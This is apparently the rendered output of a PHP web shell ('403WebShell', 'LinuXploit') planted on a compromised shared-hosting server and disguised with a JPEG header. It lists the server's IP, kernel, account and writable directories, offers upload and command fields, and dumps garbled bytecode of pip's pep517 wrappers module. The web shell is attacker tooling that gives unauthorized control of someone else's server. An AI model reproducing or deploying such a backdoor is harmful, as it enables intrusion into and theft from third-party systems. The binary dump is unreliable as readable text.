���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 91.108.106.114  /  Your IP : 216.73.216.210
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyc
�
u�fc@s�ddlZddlmZddlZddlmZmZmZddl	Z	ddl
mZmZm
Z
ddlZddlmZddlmZdd	d
ddd
dgZyddljZd�ZWn ek
r�ed��ZnXed��Zdefd��YZd	efd��YZd
efd��YZdefd��YZddd�Zddd�Z d�Z!de"fd��YZ#dej$fd��YZ%dS(i����N(tcontextmanager(tdirnametabspathtjoin(t
check_calltcheck_outputtSTDOUT(tmkdtempi(tcompattBackendUnavailabletBackendInvalidtHookMissingtUnsupportedOperationtdefault_subprocess_runnertquiet_subprocess_runnertPep517HookCallercCstjtd�S(Ns_in_process.py(t	resourcestpatht__package__(((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyt_in_proc_script_pathsccstttt��d�VdS(Ns_in_process.py(tpjoinRRt__file__(((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyRsccs't�}z	|VWdtj|�XdS(N(Rtshutiltrmtree(ttd((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyttempdir!s		cBseZdZd�ZRS(sEWill be raised if the backend cannot be imported in the hook process.cCs
||_dS(N(t	traceback(tselfR((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyt__init__,s(t__name__t
__module__t__doc__R(((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyR	*scBseZdZd�ZRS(s)Will be raised if the backend is invalid.cCs||_||_||_dS(N(tbackend_nametbackend_pathtmessage(RR R!R"((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyR2s		(RRRR(((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyR
0scBseZdZd�ZRS(s Will be raised on missing hooks.cCs#tt|�j|�||_dS(N(tsuperRRt	hook_name(RR$((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyR:s(RRRR(((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyR8scBseZdZd�ZRS(sDMay be raised by build_sdist if the backend indicates that it can't.cCs
||_dS(N(R(RR((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyRAs(RRRR(((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyR?scCs?tjj�}|r%|j|�nt|d|d|�dS(s5The default method of calling the wrapper subprocess.tcwdtenvN(tostenvirontcopytupdateR(tcmdR%t
extra_environR&((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyR
EscCsEtjj�}|r%|j|�nt|d|d|dt�dS(sDA method of calling the wrapper subprocess while suppressing output.R%R&tstderrN(R'R(R)R*RR(R+R%R,R&((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyRNscCs�tjj|�r!td��ntjj|�}tjjtjj||��}tjj|�}tjj|�}tjj||g�|kr�td��n|S(s�Normalise and check a backend path.

    Ensure that the requested backend path is specified as a relative path,
    and resolves to a location under the given source tree.

    Return an absolute version of the requested path.
    spaths must be relatives paths must be inside source tree(	R'Rtisabst
ValueErrorRtnormpathRtnormcasetcommonprefix(tsource_treet	requestedt
abs_sourcet
abs_requestedtnorm_sourcetnorm_requested((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pytnorm_and_checkWs!cBszeZdZd	d	d	d�Zed��Zd	d�Zd	ed�Z	d	d	d�Z
d	d�Zd	d�Zd�Z
RS(
s�A wrapper around a source directory to be built with a PEP 517 backend.

    :param source_dir: The path to the source directory, containing
        pyproject.toml.
    :param build_backend: The build backend spec, as per PEP 517, from
        pyproject.toml.
    :param backend_path: The backend path, as per PEP 517, from pyproject.toml.
    :param runner: A callable that invokes the wrapper subprocess.
    :param python_executable: The Python executable used to invoke the backend

    The 'runner', if provided, must expect the following:

    - cmd: a list of strings representing the command and arguments to
      execute, as would be passed to e.g. 'subprocess.check_call'.
    - cwd: a string representing the working directory that must be
      used for the subprocess. Corresponds to the provided source_dir.
    - extra_environ: a dict mapping environment variable names to values
      which must be set for the subprocess execution.
    cCs�|dkrt}nt|�|_||_|r[g|D]}t|j|�^q:}n||_||_|stj	}n||_
dS(N(tNoneR
Rt
source_dirt
build_backendR9R!t_subprocess_runnertsyst
executabletpython_executable(RR;R<R!trunnerR@tp((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyR�s		(		ccs,|j}||_z	dVWd||_XdS(s\A context manager for temporarily overriding the default subprocess
        runner.
        N(R=(RRAtprev((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pytsubprocess_runner�s
			cCs|jdi|d6�S(sIIdentify packages required for building a wheel

        Returns a list of dependency specifications, e.g.::

            ["wheel >= 0.25", "setuptools"]

        This does not include requirements specified in pyproject.toml.
        It returns the result of calling the equivalently named hook in a
        subprocess.
        tget_requires_for_build_wheeltconfig_settings(t
_call_hook(RRF((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyRE�scCs+|jdit|�d6|d6|d6�S(suPrepare a ``*.dist-info`` folder with metadata for this project.

        Returns the name of the newly created folder.

        If the build backend defines a hook with this name, it will be called
        in a subprocess. If not, the backend will be asked to build a wheel,
        and the dist-info extracted from that (unless _allow_fallback is
        False).
        t prepare_metadata_for_build_wheeltmetadata_directoryRFt_allow_fallback(RGR(RRIRFRJ((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyRH�s
cCsF|dk	rt|�}n|jdit|�d6|d6|d6�S(svBuild a wheel from this project.

        Returns the name of the newly created file.

        In general, this will call the 'build_wheel' hook in the backend.
        However, if that was previously called by
        'prepare_metadata_for_build_wheel', and the same metadata_directory is
        used, the previously built wheel will be copied to wheel_directory.
        tbuild_wheeltwheel_directoryRFRIN(R:RRG(RRLRFRI((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyRK�s
cCs|jdi|d6�S(s>Identify packages required for building a wheel

        Returns a list of dependency specifications, e.g.::

            ["setuptools >= 26"]

        This does not include requirements specified in pyproject.toml.
        It returns the result of calling the equivalently named hook in a
        subprocess.
        tget_requires_for_build_sdistRF(RG(RRF((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyRM�scCs$|jdit|�d6|d6�S(s�Build an sdist from this project.

        Returns the name of the newly created file.

        This calls the 'build_sdist' backend hook in a subprocess.
        tbuild_sdisttsdist_directoryRF(RGR(RRORF((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyRN�s
cCs�tjddkr(|jjd�}n	|j}i|d6}|jr�tjj|j�}tjddkr�|jtj��}n||d<nt	��S}i|d6}t
j|t|d�dd�t
��D}|j}	|j|	tt|��||gd	|jd
|�WdQXt
jt|d��}
|
jd�r]t|
jd
d���n|
jd�r�t|
jd
d���n|
jd�r�td|jd|jd|
jdd���n|
jd�r�t|��n|
dSWdQXdS(NiitASCIItPEP517_BUILD_BACKENDtPEP517_BACKEND_PATHtkwargss
input.jsontindentR%R,soutput.jsontunsupportedRtt
no_backendtbackend_invalidR R!R"t
backend_errorthook_missingt
return_val(R>tversion_infoR<tencodeR!R'tpathsepRtgetfilesystemencodingRRt
write_jsonRRR@R=RtstrR;t	read_jsontgetRR	R
R(RR$RSR<R,R!Rt
hook_inputtscripttpythontdata((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyRG�s@	
	

		
		N(RRRR:RRRDREtTrueRHRKRMRNRG(((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyRost
LoggerWrappercBsAeZdZd�Zd�Zed��Zd�Zd�ZRS(sd
    Read messages from a pipe and redirect them
    to a logger (see python's logging module).
    cCsftjj|�t|_||_||_tj�\|_	|_
tj|j	�|_|j
�dS(N(t	threadingtThreadRRhtdaemontloggertlevelR'tpipetfd_readtfd_writetfdopentreadertstart(RRmRn((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyR.s			cCs|jS(N(Rq(R((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pytfileno;scCs|jtj�r|d S|S(Ni����(tendswithR'tlinesep(tmsg((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pytremove_newline>scCs.x'|jD]}|j|j|��q
WdS(N(Rst_writeRy(Rtline((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pytrunBscCs|jj|j|�dS(N(RmtlogRn(RR"((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyRzFs(	RRRRRutstaticmethodRyR|Rz(((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyRi(s	
		(&Rjt
contextlibRR'tos.pathRRRRRt
subprocessRRRR>ttempfileRRVRt__all__timportlib.resourcesRRtImportErrorRt	ExceptionR	R
RRR:R
RR9tobjectRRkRi(((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/pep517/wrappers.pyt<module>s<	

				�

Youez - 2016 - github.com/yon3zu
LinuXploit